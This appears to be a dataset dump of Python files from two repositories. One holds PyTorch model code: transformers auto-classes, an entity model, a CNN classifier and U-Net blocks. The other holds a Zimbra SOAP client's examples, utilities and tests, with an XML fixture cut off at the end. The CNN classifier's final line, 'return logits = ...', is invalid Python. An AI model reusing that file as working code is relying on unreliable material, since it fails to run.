0
M4rt1nM4yr
[ { "content": "# coding=utf-8\n# Copyright 2018 The HuggingFace Inc. team.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\" Auto Model class. \"\"\"\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport logging\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn import CrossEntropyLoss, MSELoss\nfrom torch.nn.parameter import Parameter\n\nfrom .modeling_bert import BertConfig, BertModel\nfrom .modeling_openai import OpenAIGPTConfig, OpenAIGPTModel\nfrom .modeling_gpt2 import GPT2Config, GPT2Model\nfrom .modeling_transfo_xl import TransfoXLConfig, TransfoXLModel\nfrom .modeling_xlnet import XLNetConfig, XLNetModel\nfrom .modeling_xlm import XLMConfig, XLMModel\nfrom .modeling_roberta import RobertaConfig, RobertaModel\n\nfrom .modeling_utils import PreTrainedModel, SequenceSummary\n\nlogger = logging.getLogger(__name__)\n\nclass AutoConfig(object):\n r\"\"\":class:`~pytorch_transformers.AutoConfig` is a generic configuration class\n that will be instantiated as one of the configuration classes of the library\n when created with the `AutoConfig.from_pretrained(pretrained_model_name_or_path)`\n class method.\n\n The `from_pretrained()` method take care of returning the correct model class instance\n using pattern matching on the `pretrained_model_name_or_path` string.\n\n The base model class to instantiate is selected as the first pattern matching\n in the `pretrained_model_name_or_path` string (in the following order):\n - contains `bert`: BertConfig (Bert model)\n - contains `openai-gpt`: OpenAIGPTConfig (OpenAI GPT model)\n - contains `gpt2`: GPT2Config (OpenAI GPT-2 model)\n - contains `transfo-xl`: TransfoXLConfig (Transformer-XL model)\n - contains `xlnet`: XLNetConfig (XLNet model)\n - contains `xlm`: XLMConfig (XLM model)\n - contains `roberta`: RobertaConfig (RoBERTa model)\n\n This class cannot be instantiated using `__init__()` (throw an error).\n \"\"\"\n def __init__(self):\n raise EnvironmentError(\"AutoConfig is designed to be instantiated \"\n \"using the `AutoConfig.from_pretrained(pretrained_model_name_or_path)` method.\")\n\n @classmethod\n def from_pretrained(cls, pretrained_model_name_or_path, **kwargs):\n r\"\"\" Instantiate a one of the configuration classes of the library\n from a pre-trained model configuration.\n\n The configuration class to instantiate is selected as the first pattern matching\n in the `pretrained_model_name_or_path` string (in the following order):\n - contains `bert`: BertConfig (Bert model)\n - contains `openai-gpt`: OpenAIGPTConfig (OpenAI GPT model)\n - contains `gpt2`: GPT2Config (OpenAI GPT-2 model)\n - contains `transfo-xl`: TransfoXLConfig (Transformer-XL model)\n - contains `xlnet`: XLNetConfig (XLNet model)\n - contains `xlm`: XLMConfig (XLM model)\n - contains `roberta`: RobertaConfig (RoBERTa model)\n\n Params:\n **pretrained_model_name_or_path**: either:\n - a string with the `shortcut name` of a pre-trained model configuration to load from cache\n or download and cache if not already stored in cache (e.g. 'bert-base-uncased').\n - a path to a `directory` containing a configuration file saved\n using the `save_pretrained(save_directory)` method.\n - a path or url to a saved configuration `file`.\n **cache_dir**: (`optional`) string:\n Path to a directory in which a downloaded pre-trained model\n configuration should be cached if the standard cache should not be used.\n **return_unused_kwargs**: (`optional`) bool:\n - If False, then this function returns just the final configuration object.\n - If True, then this functions returns a tuple `(config, unused_kwargs)` where `unused_kwargs`\n is a dictionary consisting of the key/value pairs whose keys are not configuration attributes:\n ie the part of kwargs which has not been used to update `config` and is otherwise ignored.\n **kwargs**: (`optional`) dict:\n Dictionary of key/value pairs with which to update the configuration object after loading.\n - The values in kwargs of any keys which are configuration attributes will be used\n to override the loaded values.\n - Behavior concerning key/value pairs whose keys are *not* configuration attributes is controlled\n by the `return_unused_kwargs` keyword parameter.\n\n Examples::\n\n config = AutoConfig.from_pretrained('bert-base-uncased') # Download configuration from S3 and cache.\n config = AutoConfig.from_pretrained('./test/bert_saved_model/') # E.g. config (or model) was saved using `save_pretrained('./test/saved_model/')`\n config = AutoConfig.from_pretrained('./test/bert_saved_model/my_configuration.json')\n config = AutoConfig.from_pretrained('bert-base-uncased', output_attention=True, foo=False)\n assert config.output_attention == True\n config, unused_kwargs = AutoConfig.from_pretrained('bert-base-uncased', output_attention=True,\n foo=False, return_unused_kwargs=True)\n assert config.output_attention == True\n assert unused_kwargs == {'foo': False}\n\n \"\"\"\n if 'bert' in pretrained_model_name_or_path:\n return BertConfig.from_pretrained(pretrained_model_name_or_path, **kwargs)\n elif 'openai-gpt' in pretrained_model_name_or_path:\n return OpenAIGPTConfig.from_pretrained(pretrained_model_name_or_path, **kwargs)\n elif 'gpt2' in pretrained_model_name_or_path:\n return GPT2Config.from_pretrained(pretrained_model_name_or_path, **kwargs)\n elif 'transfo-xl' in pretrained_model_name_or_path:\n return TransfoXLConfig.from_pretrained(pretrained_model_name_or_path, **kwargs)\n elif 'xlnet' in pretrained_model_name_or_path:\n return XLNetConfig.from_pretrained(pretrained_model_name_or_path, **kwargs)\n elif 'xlm' in pretrained_model_name_or_path:\n return XLMConfig.from_pretrained(pretrained_model_name_or_path, **kwargs)\n elif 'roberta' in pretrained_model_name_or_path:\n return RobertaConfig.from_pretrained(pretrained_model_name_or_path, **kwargs)\n\n raise ValueError(\"Unrecognized model identifier in {}. Should contains one of \"\n \"'bert', 'openai-gpt', 'gpt2', 'transfo-xl', 'xlnet', \"\n \"'xlm', 'roberta'\".format(pretrained_model_name_or_path))\n\n\nclass AutoModel(object):\n r\"\"\"\n :class:`~pytorch_transformers.AutoModel` is a generic model class\n that will be instantiated as one of the base model classes of the library\n when created with the `AutoModel.from_pretrained(pretrained_model_name_or_path)`\n class method.\n\n The `from_pretrained()` method take care of returning the correct model class instance\n using pattern matching on the `pretrained_model_name_or_path` string.\n\n The base model class to instantiate is selected as the first pattern matching\n in the `pretrained_model_name_or_path` string (in the following order):\n - contains `bert`: BertModel (Bert model)\n - contains `openai-gpt`: OpenAIGPTModel (OpenAI GPT model)\n - contains `gpt2`: GPT2Model (OpenAI GPT-2 model)\n - contains `transfo-xl`: TransfoXLModel (Transformer-XL model)\n - contains `xlnet`: XLNetModel (XLNet model)\n - contains `xlm`: XLMModel (XLM model)\n - contains `roberta`: RobertaModel (RoBERTa model)\n\n This class cannot be instantiated using `__init__()` (throw an error).\n \"\"\"\n def __init__(self):\n raise EnvironmentError(\"AutoModel is designed to be instantiated \"\n \"using the `AutoModel.from_pretrained(pretrained_model_name_or_path)` method.\")\n\n @classmethod\n def from_pretrained(cls, pretrained_model_name_or_path, *model_args, **kwargs):\n r\"\"\" Instantiate a one of the base model classes of the library\n from a pre-trained model configuration.\n\n The base model class to instantiate is selected as the first pattern matching\n in the `pretrained_model_name_or_path` string (in the following order):\n - contains `bert`: BertModel (Bert model)\n - contains `openai-gpt`: OpenAIGPTModel (OpenAI GPT model)\n - contains `gpt2`: GPT2Model (OpenAI GPT-2 model)\n - contains `transfo-xl`: TransfoXLModel (Transformer-XL model)\n - contains `xlnet`: XLNetModel (XLNet model)\n - contains `xlm`: XLMModel (XLM model)\n - contains `roberta`: RobertaModel (RoBERTa model)\n\n The model is set in evaluation mode by default using `model.eval()` (Dropout modules are deactivated)\n To train the model, you should first set it back in training mode with `model.train()`\n\n Params:\n **pretrained_model_name_or_path**: either:\n - a string with the `shortcut name` of a pre-trained model to load from cache\n or download and cache if not already stored in cache (e.g. 'bert-base-uncased').\n - a path to a `directory` containing a configuration file saved\n using the `save_pretrained(save_directory)` method.\n - a path or url to a tensorflow index checkpoint `file` (e.g. `./tf_model/model.ckpt.index`).\n In this case, ``from_tf`` should be set to True and a configuration object should be\n provided as `config` argument. This loading option is slower than converting the TensorFlow\n checkpoint in a PyTorch model using the provided conversion scripts and loading\n the PyTorch model afterwards.\n **model_args**: (`optional`) Sequence:\n All remaning positional arguments will be passed to the underlying model's __init__ function\n **config**: an optional configuration for the model to use instead of an automatically loaded configuation.\n Configuration can be automatically loaded when:\n - the model is a model provided by the library (loaded with a `shortcut name` of a pre-trained model), or\n - the model was saved using the `save_pretrained(save_directory)` (loaded by suppling the save directory).\n **state_dict**: an optional state dictionnary for the model to use instead of a state dictionary loaded\n from saved weights file.\n This option can be used if you want to create a model from a pretrained configuration but load your own weights.\n In this case though, you should check if using `save_pretrained(dir)` and `from_pretrained(save_directory)` is not\n a simpler option.\n **cache_dir**: (`optional`) string:\n Path to a directory in which a downloaded pre-trained model\n configuration should be cached if the standard cache should not be used.\n **output_loading_info**: (`optional`) boolean:\n Set to ``True`` to also return a dictionnary containing missing keys, unexpected keys and error messages.\n **kwargs**: (`optional`) dict:\n Dictionary of key, values to update the configuration object after loading.\n Can be used to override selected configuration parameters. E.g. ``output_attention=True``.\n\n - If a configuration is provided with `config`, **kwargs will be directly passed\n to the underlying model's __init__ method.\n - If a configuration is not provided, **kwargs will be first passed to the pretrained\n model configuration class loading function (`PretrainedConfig.from_pretrained`).\n Each key of **kwargs that corresponds to a configuration attribute\n will be used to override said attribute with the supplied **kwargs value.\n Remaining keys that do not correspond to any configuration attribute will\n be passed to the underlying model's __init__ function.\n\n Examples::\n\n model = AutoModel.from_pretrained('bert-base-uncased') # Download model and configuration from S3 and cache.\n model = AutoModel.from_pretrained('./test/bert_model/') # E.g. model was saved using `save_pretrained('./test/saved_model/')`\n model = AutoModel.from_pretrained('bert-base-uncased', output_attention=True) # Update configuration during loading\n assert model.config.output_attention == True\n # Loading from a TF checkpoint file instead of a PyTorch model (slower)\n config = AutoConfig.from_json_file('./tf_model/bert_tf_model_config.json')\n model = AutoModel.from_pretrained('./tf_model/bert_tf_checkpoint.ckpt.index', from_tf=True, config=config)\n\n \"\"\"\n if 'bert' in pretrained_model_name_or_path:\n return BertModel.from_pretrained(pretrained_model_name_or_path, *model_args, **kwargs)\n elif 'openai-gpt' in pretrained_model_name_or_path:\n return OpenAIGPTModel.from_pretrained(pretrained_model_name_or_path, *model_args, **kwargs)\n elif 'gpt2' in pretrained_model_name_or_path:\n return GPT2Model.from_pretrained(pretrained_model_name_or_path, *model_args, **kwargs)\n elif 'transfo-xl' in pretrained_model_name_or_path:\n return TransfoXLModel.from_pretrained(pretrained_model_name_or_path, *model_args, **kwargs)\n elif 'xlnet' in pretrained_model_name_or_path:\n return XLNetModel.from_pretrained(pretrained_model_name_or_path, *model_args, **kwargs)\n elif 'xlm' in pretrained_model_name_or_path:\n return XLMModel.from_pretrained(pretrained_model_name_or_path, *model_args, **kwargs)\n elif 'roberta' in pretrained_model_name_or_path:\n return RobertaModel.from_pretrained(pretrained_model_name_or_path, *model_args, **kwargs)\n\n raise ValueError(\"Unrecognized model identifier in {}. Should contains one of \"\n \"'bert', 'openai-gpt', 'gpt2', 'transfo-xl', 'xlnet', \"\n \"'xlm', 'roberta'\".format(pretrained_model_name_or_path))\n", "id": "1480451", "language": "Python", "matching_score": 1.425255298614502, "max_stars_count": 0, "path": "pytorch_transformers/modeling_auto.py" }, { "content": "from torch import nn\nimport pytorch_lightning as pl\nfrom module_factory import produce_feature_extractor, produce_adaptive_2d_PE, produce_transformer, produce_1d_PE\n\nclass EntityModel(pl.LightningModule):\n def __init__(self, vocab_size, hidden_size=2048, n_head=1, dropout=0.1):\n super(EntityModel, self).__init__()\n ## ENCODER\n # cut R50 as encoder (1/32 scaling in height and width direction)\n self.feature_extractor = produce_feature_extractor()\n # conv2d to match the dimension size of the transformer encoder\n self.conv_hidden = nn.Conv2d(512, hidden_size, (1,1), stride=(1,1))\n # adaptive 2d positional encoding\n self.pe2d = produce_adaptive_2d_PE(d_model=hidden_size)\n # one transformer for all\n self.transformer = produce_transformer(d_model=hidden_size, n_head=n_head, dim_feedforwad=hidden_size, dropout=dropout)\n\n ## DECODER\n # embedding and 1d pe\n self.embedder = nn.Embedding(num_embeddings=vocab_size, embedding_dim=hidden_size)\n self.pe1d = produce_1d_PE(d_model=hidden_size, dropout=dropout)\n # linear layer to output alphabet\n self.predictor = nn.Linear(hidden_size,vocab_size)\n\n def forward(self, x, tgt, tgt_mask=None, tgt_key_padding_mask=None):\n # visual\n features = self.conv_hidden(self.feature_extractor(x))\n features_pe = self.pe2d(features)\n s = features_pe.shape\n seq_in = features_pe.reshape(s[0],s[1],-1).permute(2,0,1)\n # text\n y_emb = self.pe1d(self.embedder(tgt)).permute(1, 0, 2)\n transformer_out = self.transformer(src=seq_in, tgt=y_emb, tgt_mask=tgt_mask, tgt_key_padding_mask=tgt_key_padding_mask)\n seq_out = transformer_out[0].permute(1,0,2)\n attention_map = transformer_out[1]\n pred = self.predictor(seq_out)\n return pred, attention_map, seq_out\n", "id": "10178352", "language": "Python", "matching_score": 2.1939938068389893, "max_stars_count": 0, "path": "entity_model.py" }, { "content": "import numpy as np\nimport torch\nfrom torch import nn\n\n\nclass LinRecClassifierCnn(nn.Module):\n\n def __init__(self,\n padding_idx=1,\n content_length=102,\n embed_dim=300,\n filter_sizes=[3, 4, 5],\n num_filters=[64, 128, 256],\n num_classes=1,\n dropout=0.5,):\n super(LinRecClassifierCnn, self).__init__()\n self.embed_dim = embed_dim\n self.embedding = nn.Embedding(num_embeddings=content_length,\n embedding_dim=self.embed_dim,\n padding_idx=padding_idx)\n\n self.conv1d_list = nn.ModuleList([\n nn.Conv1d(in_channels=self.embed_dim,\n out_channels=num_filters[i],\n kernel_size=filter_sizes[i])\n for i in range(len(filter_sizes))\n ])\n\n self.fc = nn.Linear(np.sum(num_filters), num_classes)\n self.dropout = nn.Dropout(p=dropout)\n\n def forward(self, input_ids, padding=None):\n x_embed = self.embedding(input_ids.long()).float()\n x_reshaped = x_embed.permute(0, 2, 1)\n x_conv_list = [torch.relu(conv1d(x_reshaped)) for conv1d in self.conv1d_list]\n x_pool_list = [torch.max_pool1d(x_conv, kernel_size=x_conv.shape[2])\n for x_conv in x_conv_list]\n x_fc = torch.cat([x_pool.squeeze(dim=2) for x_pool in x_pool_list],\n dim=1)\n return logits = self.fc(self.dropout(x_fc))\n", "id": "4298033", "language": "Python", "matching_score": 1.0243157148361206, "max_stars_count": 0, "path": "nlp/cnn_classifier.py" }, { "content": "import torch.nn as nn\n\n\nclass UnetConvBlock(nn.Module):\n def __init__(self, in_ch, out_ch):\n super(UnetConvBlock, self).__init__()\n\n self.conv = nn.Sequential(\n nn.Conv2d(in_ch, out_ch, kernel_size=3, stride=1, padding=1, bias=True),\n nn.BatchNorm2d(out_ch),\n nn.ReLU(inplace=True),\n nn.Conv2d(out_ch, out_ch, kernel_size=3, stride=1, padding=1, bias=True),\n nn.BatchNorm2d(out_ch),\n nn.ReLU(inplace=True))\n\n def forward(self, x):\n x = self.conv(x)\n return x\n", "id": "2278550", "language": "Python", "matching_score": 3.3636090755462646, "max_stars_count": 0, "path": "visual/UnetConvBlock.py" }, { "content": "import torch.nn as nn\n\n\nclass UnetUpConvBlock(nn.Module):\n\n def __init__(self, in_ch, out_ch):\n super(UnetUpConvBlock, self).__init__()\n self.up = nn.Sequential(\n nn.Upsample(scale_factor=2),\n nn.Conv2d(in_ch, out_ch, kernel_size=3, stride=1, padding=1, bias=True),\n nn.BatchNorm2d(out_ch),\n nn.ReLU(inplace=True)\n )\n\n def forward(self, x):\n x = self.up(x)\n return x\n", "id": "1197208", "language": "Python", "matching_score": 1.7420248985290527, "max_stars_count": 0, "path": "visual/UnetUpConvBlock.py" }, { "content": "from torch import nn\n\n\nclass UnetAttentionBlock(nn.Module):\n \"\"\"\n Attention Block\n \"\"\"\n\n def __init__(self, F_g, F_l, F_int):\n super(UnetAttentionBlock, self).__init__()\n\n self.W_g = nn.Sequential(\n nn.Conv2d(F_l, F_int, kernel_size=1, stride=1, padding=0, bias=True),\n nn.BatchNorm2d(F_int)\n )\n\n self.W_x = nn.Sequential(\n nn.Conv2d(F_g, F_int, kernel_size=1, stride=1, padding=0, bias=True),\n nn.BatchNorm2d(F_int)\n )\n\n self.psi = nn.Sequential(\n nn.Conv2d(F_int, 1, kernel_size=1, stride=1, padding=0, bias=True),\n nn.BatchNorm2d(1),\n nn.Sigmoid()\n )\n\n self.relu = nn.ReLU(inplace=True)\n\n def forward(self, g, x):\n g1 = self.W_g(g)\n x1 = self.W_x(x)\n psi = self.relu(g1 + x1)\n psi = self.psi(psi)\n out = x * psi\n return out\n", "id": "8397632", "language": "Python", "matching_score": 2.8669209480285645, "max_stars_count": 0, "path": "visual/UnetAttentionBlock.py" }, { "content": "import torch\nfrom torch import nn\n\nfrom UnetAttentionBlock import UnetAttentionBlock\nfrom UnetConvBlock import UnetConvBlock\nfrom UnetUpConvBlock import UnetUpConvBlock\n\n\nclass AttentionUnet(nn.Module):\n\n def __init__(self, img_ch=1, output_ch=1):\n super(AttentionUnet, self).__init__()\n\n n1 = 64\n filters = [n1, n1 * 2, n1 * 4, n1 * 8, n1 * 16]\n\n self.Maxpool1 = nn.MaxPool2d(kernel_size=2, stride=2)\n self.Maxpool2 = nn.MaxPool2d(kernel_size=2, stride=2)\n self.Maxpool3 = nn.MaxPool2d(kernel_size=2, stride=2)\n self.Maxpool4 = nn.MaxPool2d(kernel_size=2, stride=2)\n\n self.Conv1 = UnetConvBlock(img_ch, filters[0])\n self.Conv2 = UnetConvBlock(filters[0], filters[1])\n self.Conv3 = UnetConvBlock(filters[1], filters[2])\n self.Conv4 = UnetConvBlock(filters[2], filters[3])\n self.Conv5 = UnetConvBlock(filters[3], filters[4])\n\n self.Up5 = UnetUpConvBlock(filters[4], filters[3])\n self.Att5 = UnetAttentionBlock(F_g=filters[3], F_l=filters[3], F_int=filters[2])\n self.Up_conv5 = UnetConvBlock(filters[4], filters[3])\n\n self.Up4 = UnetUpConvBlock(filters[3], filters[2])\n self.Att4 = UnetAttentionBlock(F_g=filters[2], F_l=filters[2], F_int=filters[1])\n self.Up_conv4 = UnetConvBlock(filters[3], filters[2])\n\n self.Up3 = UnetUpConvBlock(filters[2], filters[1])\n self.Att3 = UnetAttentionBlock(F_g=filters[1], F_l=filters[1], F_int=filters[0])\n self.Up_conv3 = UnetConvBlock(filters[2], filters[1])\n\n self.Up2 = UnetUpConvBlock(filters[1], filters[0])\n self.Att2 = UnetAttentionBlock(F_g=filters[0], F_l=filters[0], F_int=32)\n self.Up_conv2 = UnetConvBlock(filters[1], filters[0])\n\n self.Conv = nn.Conv2d(filters[0], output_ch, kernel_size=1, stride=1, padding=0)\n\n # self.active = torch.nn.Sigmoid()\n\n def forward(self, x):\n e1 = self.Conv1(x)\n\n e2 = self.Maxpool1(e1)\n e2 = self.Conv2(e2)\n\n e3 = self.Maxpool2(e2)\n e3 = self.Conv3(e3)\n\n e4 = self.Maxpool3(e3)\n e4 = self.Conv4(e4)\n\n e5 = self.Maxpool4(e4)\n e5 = self.Conv5(e5)\n\n # print(x5.shape)\n d5 = self.Up5(e5)\n # print(d5.shape)\n x4 = self.Att5(g=d5, x=e4)\n d5 = torch.cat((x4, d5), dim=1)\n d5 = self.Up_conv5(d5)\n\n d4 = self.Up4(d5)\n x3 = self.Att4(g=d4, x=e3)\n d4 = torch.cat((x3, d4), dim=1)\n d4 = self.Up_conv4(d4)\n\n d3 = self.Up3(d4)\n x2 = self.Att3(g=d3, x=e2)\n d3 = torch.cat((x2, d3), dim=1)\n d3 = self.Up_conv3(d3)\n\n d2 = self.Up2(d3)\n x1 = self.Att2(g=d2, x=e1)\n d2 = torch.cat((x1, d2), dim=1)\n d2 = self.Up_conv2(d2)\n\n out = self.Conv(d2)\n\n # out = self.active(out)\n return out\n", "id": "10449074", "language": "Python", "matching_score": 2.658470869064331, "max_stars_count": 0, "path": "visual/AttentionUnet.py" } ]
2.193994
emillion
[ { "content": "import zimsoap.client\nimport zimsoap.utils\nfrom zimsoap.zobjects import DistributionList\n\nzc = zimsoap.client.ZimbraAdminClient(\"xxxxxxx\", \"7071\")\nzc.login(\"zimbra\", \"xxxxxxxxxx\")\na = zc.get_distribution_list(\n DistributionList(name=\"<EMAIL>\"))\n\ntry:\n liste = zc.delete_distribution_list(\n DistributionList(name=\"<EMAIL>\"))\nexcept Exception as e:\n print(e)\n\nliste = zc.create_distribution_list(\"<EMAIL>\")\nzc.add_distribution_list_member(\n DistributionList(name=\"<EMAIL>\"),\n [\"<EMAIL>\", \"<EMAIL>\", \"<EMAIL>\"])\na = zc.get_distribution_list(\n DistributionList(name=\"<EMAIL>\"))\nzc.remove_distribution_list_member(\n DistributionList(name=\"<EMAIL>\"),\n [\"<EMAIL>\"])\nb = zc.get_distribution_list(\n DistributionList(name=\"<EMAIL>\"))\nzc.add_distribution_list_member(\n DistributionList(name=\"<EMAIL>\"),\n [\"<EMAIL>\", \"<EMAIL>\", \"<EMAIL>\"])\nc = zc.get_distribution_list(\n DistributionList(name=\"<EMAIL>\"))\nprint(c.members)\n", "id": "159256", "language": "Python", "matching_score": 0.6492719650268555, "max_stars_count": 11, "path": "examples/create_list.py" }, { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# WARNING: NOT UP-TO-DATE.\n#\n# Remaining here as an example only, not as a tool.\n# Check oazim-tools at https://dev.oasiswork.fr/projects/oazim-tools for\n# up-to-date code.\n#\n\nimport argparse\nimport getpass\nimport os\nimport sys\nfrom urllib2 import URLError\n\nimport zimsoap.client\nfrom zimsoap.zobjects import Domain\n\nsys.path.append(os.path.dirname(__file__)+'/../')\n\n\"\"\" Counts Zimbra accounts, globally or for a subset, of domains\n\nSorted by cos.\n\"\"\"\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument(\"-u\", \"--username\", required=True,\n help=\"zimbra admin username (user<EMAIL>)\")\n parser.add_argument(\"-s\", \"--server\", required=True,\n help=\"zimbra server host or proxy\")\n\n parser.add_argument(\"-p\", \"--port\", default=7071,\n help=\"server or proxy port (default : 7071)\")\n parser.add_argument(\"--domain\", '-d', action=\"append\", nargs=\"*\",\n help=\"restrict the stats to this domain\")\n args = parser.parse_args()\n\n if args.domain:\n # Flattens a list of lists.\n args.domains_list = [i for sublist in args.domain for i in sublist]\n\n return args\n\n\nif __name__ == '__main__':\n print(\"WARNING: this is an example script, do not use in production\")\n args = parse_args()\n password = getpass.getpass('Password for %s: ' % args.username)\n\n zc = zimsoap.client.ZimbraAdminClient(args.server, args.port)\n try:\n zc.login(args.username, password)\n except (zimsoap.client.ZimbraSoapServerError, URLError) as sf:\n print(sf)\n exit(5)\n\n if args.domain:\n domains_to_inspect = [Domain(name=i) for i in args.domains_list]\n else:\n domains_to_inspect = zc.get_all_domains()\n\n total_accounts = 0\n\n print(\"\\nPrint accounts count, per-COS:\")\n for domain in domains_to_inspect:\n print()\n print(\"Domain %s\" % domain.name)\n for cos, count in zc.count_account(domain):\n print('{0:.<20}{1}'.format(cos.name, count))\n total_accounts += count\n\nprint('\\nTOTAL ACCOUNTS ({0} domains): {1}'.format(\n len(domains_to_inspect), total_accounts))\n", "id": "4368366", "language": "Python", "matching_score": 1.756043791770935, "max_stars_count": 11, "path": "examples/per-domain-stats.py" }, { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nfrom setuptools import setup\n\ntry:\n README = open(os.path.join(os.path.dirname(__file__), 'README.md')).read()\nexcept IOError:\n README = ''\n\n\nsetup(name='zimsoap',\n version='0.4.1',\n description='A high-level library to access programaticaly Zimbra \\\n SOAP API features',\n long_description=README,\n author='<NAME>',\n author_email='<EMAIL>',\n url='https://github.com/oasiswork/zimsoap/',\n packages=['zimsoap'],\n install_requires=['python-zimbra>=2.0', 'six']\n )\n", "id": "11691446", "language": "Python", "matching_score": 0.06965270638465881, "max_stars_count": 11, "path": "setup.py" }, { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n\"\"\" Unittests for zimsoap.utils \"\"\"\n\nimport unittest\n\nfrom six import text_type\n\nimport zimsoap\nfrom zimsoap import utils\n\n\nclass ZimsoapUtilsTests(unittest.TestCase):\n def testValidZuuid(self):\n self.assertTrue(zimsoap.utils.is_zuuid(\n 'd78fd9c9-f000-440b-bce6-ea938d40fa2d'))\n\n def testEmptyZuuid(self):\n self.assertFalse(zimsoap.utils.is_zuuid(''))\n\n def testInvalidZuuid(self):\n # Just missing a char\n self.assertFalse(zimsoap.utils.is_zuuid(\n 'd78fd9c9-f000-440b-bce6-ea938d40fa2'))\n\n def test_build_preauth_str(self):\n \"\"\" Taken from http://wiki.zimbra.com/wiki/Preauth\n \"\"\"\n res = zimsoap.utils.build_preauth_str(\n preauth_key=('6b7ead4bd425836e8cf0079cd6c1a05acc'\n '127acd07c8ee4b61023e19250e929c'),\n account_name='<EMAIL>',\n timestamp=1135280708088,\n expires=0\n )\n self.assertIsInstance(res, str)\n self.assertEqual(res, 'b248f6cfd027edd45c5369f8490125204772f844')\n\n def test_auto_type_int(self):\n self.assertIsInstance(utils.auto_type('42'), int)\n\n def test_auto_type_float(self):\n self.assertIsInstance(utils.auto_type('4.2'), float)\n\n def test_auto_type_str(self):\n self.assertIsInstance(utils.auto_type('forty-two'), text_type)\n\n def test_auto_type_bool(self):\n self.assertIsInstance(utils.auto_type('TRUE'), bool)\n self.assertIsInstance(utils.auto_type('FALSE'), bool)\n\n def test_auto_type_none(self):\n self.assertEqual(utils.auto_type(None), '')\n\n def test_auto_untype_bool(self):\n self.assertEqual(utils.auto_untype(True), 'TRUE')\n self.assertEqual(utils.auto_untype(False), 'FALSE')\n\n def test_auto_untype_any(self):\n self.assertEqual(utils.auto_untype('foo'), 'foo')\n\n def test_xml_str_to_dict(self):\n xml = (\n '<a foo=\"bar\" faa=\"bor\"></a>',\n '<a>text</a>',\n '<a><sub>a</sub></a>',\n '<a><sub>foo</sub><sub>bar</sub></a>',\n )\n\n dicts = (\n {'a': {'foo': 'bar', 'faa': 'bor'}},\n {'a': {'_content': 'text'}},\n {'a': {'sub': {'_content': 'a'}}},\n {'a': {'sub': [{'_content': 'foo'}, {'_content': 'bar'}]}},\n\n )\n for i in range(len(xml)):\n self.assertEqual(\n utils.xml_str_to_dict(xml[i]),\n dicts[i])\n", "id": "176144", "language": "Python", "matching_score": 3.3156208992004395, "max_stars_count": 11, "path": "tests/test_utils.py" }, { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n\"\"\" Misc tool functions \"\"\"\n\nimport pythonzimbra\nimport pythonzimbra.tools.xmlserializer\n\nimport re\nimport hmac\nimport hashlib\nfrom xml.dom import minidom\n\nre_zuuid = re.compile(r'[0-9a-f]{8}-([0-9a-f]{4}-){3}[0-9a-f]{12}')\n\n\ndef is_zuuid(s):\n \"\"\" Is it a zimbraUUID ?\n\n example zimbra UUID : d78fd9c9-f000-440b-bce6-ea938d40fa2d\n \"\"\"\n return re_zuuid.match(s)\n\n\ndef build_preauth_str(preauth_key, account_name, timestamp, expires,\n admin=False):\n \"\"\" Builds the preauth string and hmac it, following the zimbra spec.\n\n Spec and examples are here http://wiki.zimbra.com/wiki/Preauth\n \"\"\"\n if admin:\n s = '{0}|1|name|{1}|{2}'.format(account_name, expires, timestamp)\n else:\n s = '{0}|name|{1}|{2}'.format(account_name, expires, timestamp)\n\n return hmac.new(preauth_key.encode('utf-8'), s.encode('utf-8'),\n hashlib.sha1).hexdigest()\n\n\ndef wrap_in_cdata(s):\n return \"<![CDATA[{0}]]>\".format(s)\n\n\ndef as_list(obj):\n if isinstance(obj, (list, tuple)):\n return obj\n else:\n return [obj]\n\n\ndef get_content(obj):\n \"\"\" Works arround (sometimes) non predictible results of pythonzimbra\n\n Sometime, the content of an XML tag is wrapped in {'_content': foo},\n sometime it is accessible directly.\n \"\"\"\n if isinstance(obj, dict):\n return obj['_content']\n else:\n return obj\n\n\ndef auto_type(s):\n \"\"\" Get a XML response and tries to convert it to Python base object\n \"\"\"\n if isinstance(s, bool):\n return s\n elif s is None:\n return ''\n elif s == 'TRUE':\n return True\n elif s == 'FALSE':\n return False\n else:\n try:\n try:\n # telephone numbers may be wrongly interpretted as ints\n if s.startswith('+'):\n return s\n else:\n return int(s)\n except ValueError:\n return float(s)\n\n except ValueError:\n return s\n\n\ndef auto_untype(arg):\n \"\"\" The oposite of auto_type : takes a python base object and tries to\n convert it to XML typed string.\n \"\"\"\n if arg is True:\n return 'TRUE'\n elif arg is False:\n return 'FALSE'\n else:\n return arg\n\n\ndef xml_str_to_dict(s):\n \"\"\" Transforms an XML string it to python-zimbra dict format\n\n For format, see:\n https://github.com/Zimbra-Community/python-zimbra/blob/master/README.md\n\n :param: a string, containing XML\n :returns: a dict, with python-zimbra format\n \"\"\"\n xml = minidom.parseString(s)\n return pythonzimbra.tools.xmlserializer.dom_to_dict(xml.firstChild)\n", "id": "12747707", "language": "Python", "matching_score": 0.9134125113487244, "max_stars_count": 11, "path": "zimsoap/utils.py" }, { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\n# Zimbra XML samples, for unit-testing.\n\nMISNAMED_DOMAIN=\"\"\"<demain id=\"b37d6b98-dc8c-474a-9243-f5dfc3ecf6ac\" name=\"client1.unbound.example.com\">\n <a n=\"zimbraGalLdapPageSize\">1000</a>\n <a n=\"zimbraAggregateQuotaLastUsage\">401</a>\n <a n=\"zimbraInternalSharingCrossDomainEnabled\">TRUE</a>\n <a n=\"zimbraMailStatus\">enabled</a>\n <a n=\"zimbraGalSyncTimestampFormat\">yyyyMMddHHmmss'Z'</a>\n <a n=\"zimbraGalSyncLdapPageSize\">1000</a>\n <a n=\"zimbraZimletDataSensitiveInMixedModeDisabled\">TRUE</a>\n <a 